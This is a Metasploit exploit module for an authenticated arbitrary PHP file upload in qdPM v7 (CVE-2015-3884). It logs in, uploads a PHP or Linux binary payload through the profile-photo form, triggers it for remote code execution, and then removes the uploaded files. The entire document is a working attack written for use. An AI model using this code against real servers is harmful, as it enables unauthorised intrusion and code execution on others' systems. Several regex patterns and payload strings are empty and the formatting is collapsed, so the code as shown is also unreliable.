## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super( update_info( info, 'Name' => 'qdPM v7 Arbitrary PHP File Upload Vulnerability', 'Description' => %q{ This module exploits a vulnerability found in qdPM - a web-based project management software. The user profile's photo upload feature can be abused to upload any arbitrary file onto the victim server machine, which allows remote code execution. Please note in order to use this module, you must have a valid credential to sign in. }, 'License' => MSF_LICENSE, 'Author' => [ 'loneferret', # Discovery, PoC 'sinn3r' # Metasploit ], 'References' => [ ['CVE', '2015-3884'], ['OSVDB', '82978'], ['EDB', '19154'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'Privileged' => false, 'DisclosureDate' => '2012-06-14', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/qdPM/']), OptString.new('USERNAME', [true, 'The username to login with']), OptString.new('PASSWORD', [true, 'The password to login with']) ] ) self.needs_cleanup = true end def check uri = normalize_uri(target_uri.path) uri << '/' if uri[-1, 1] != '/' base = File.dirname("#{uri}.") res = send_request_raw({ 'uri' => normalize_uri(base, '/index.php') }) if res and res.body =~ %r{}m major = ::Regexp.last_match(1) minor = ::Regexp.last_match(2) return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response') if (major + minor).to_i <= 70 end return Exploit::CheckCode::Safe('The target is not vulnerable') end def get_write_exec_payload(fname, _data) p = Rex::Text.encode_base64(generate_payload_exe) php = %| | php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ') return php end def on_new_session(cli) if (cli.type == 'meterpreter') && (!cli.ext.aliases.include?('stdapi')) cli.core.use('stdapi') end @clean_files.each do |f| print_warning("Removing: #{f}") begin if cli.type == 'meterpreter' cli.fs.file.rm(f) else cli.shell_command_token("rm #{f}") end rescue ::Exception => e print_error("Unable to remove #{f}: #{e.message}") end end end def login(base, username, password) # Login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri("#{base}/index.php/home/login"), 'vars_post' => { 'login[email]' => username, 'login[password]' => password, 'http_referer' => '' }, # This needs to be set, otherwise we get two cookies... I don't need two cookies. 'cookie' => "qdpm=#{Rex::Text.rand_text_alpha(27)}", 'headers' => { 'Origin' => "http://#{rhost}", 'Referer' => "http://#{rhost}/#{base}/index.php/home/login" } }) cookie = (res and res.get_cookies =~ /qdpm=.+;/) ? res.get_cookies : '' return {} if cookie.empty? cookie = cookie.to_s.scan(/(qdpm=\w+);/).flatten[0] # Get user data vprint_status('Enumerating user data') res = send_request_raw({ 'uri' => "#{base}/index.php/home/myAccount", 'cookie' => cookie }) return {} if !res if res.code == 404 print_error("#{username} does not actually have a 'myAccount' page") return {} end b = res.body user_id = b.scan(%r{}).flatten[0] || '' group_id = b.scan(%r{}).flatten[0] || '' user_active = b.scan(%r{}).flatten[0] || '' opts = { 'cookie' => cookie, 'user_id' => user_id, 'group_id' => group_id, 'user_active' => user_active } return opts end def upload_php(base, opts) fname = opts['filename'] php_payload = opts['data'] user_id = opts['user_id'] group_id = opts['group_id'] user_active = opts['user_active'] username = opts['username'] email = opts['email'] cookie = opts['cookie'] data = Rex::MIME::Message.new data.add_part('UsersAccountForm', nil, nil, 'form-data; name="formName"') data.add_part('put', nil, nil, 'form-data; name="sf_method"') data.add_part(user_id, nil, nil, 'form-data; name="users[id]"') data.add_part(group_id, nil, nil, 'form-data; name="users[users_group_id]"') data.add_part(user_active, nil, nil, 'form-data; name="users[active]"') data.add_part('', nil, nil, 'form-data; name="users[skin]"') data.add_part(username, nil, nil, 'form-data; name="users[name]"') data.add_part(php_payload, nil, nil, "form-data; name=\"users[photo]\"; filename=\"#{fname}\"") data.add_part('', nil, nil, 'form-data; name="preview_photo"') data.add_part(email, nil, nil, 'form-data; name="users[email]"') data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"') data.add_part('', nil, nil, 'form-data; name="new_password"') post_data = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie, 'headers' => { 'Origin' => "http://#{rhost}", 'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount" } }) return (res and res.headers['Location'] =~ %r{home/myAccount$}) ? true : false end def exec_php(base, opts) cookie = opts['cookie'] # When we upload a file, it will be renamed. The 'myAccount' page has that info. res = send_request_cgi({ 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'cookie' => cookie }) if !res print_error('Unable to request the file') return end fname = res.body.scan(%r{}).flatten[0] || '' if fname.empty? print_error('Unable to extract the real filename') return end # Now that we have the filename, request it print_status("Uploaded file was renmaed as '#{fname}'") send_request_raw({ 'uri' => "#{base}/uploads/users/#{fname}" }) handler end def exploit uri = normalize_uri(target_uri.path) uri << '/' if uri[-1, 1] != '/' base = File.dirname("#{uri}.") user = datastore['USERNAME'] pass = datastore['PASSWORD'] print_status("Attempt to login with '#{user}:#{pass}'") opts = login(base, user, pass) if opts.empty? print_error('Login unsuccessful') return end php_fname = "#{Rex::Text.rand_text_alpha(5)}.php" @clean_files = [php_fname] case target['Platform'] when 'php' p = "" when 'linux' bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin" @clean_files << bin_name bin = generate_payload_exe p = get_write_exec_payload("/tmp/#{bin_name}", bin) end print_status("Uploading PHP payload (#{p.length} bytes)...") opts = opts.merge({ 'username' => user.scan(/^(.+)@.+/).flatten[0] || '', 'email' => user, 'filename' => php_fname, 'data' => p }) uploader = upload_php(base, opts) if !uploader print_error('Unable to upload') return end print_status("Executing '#{php_fname}'") exec_php(base, opts) end end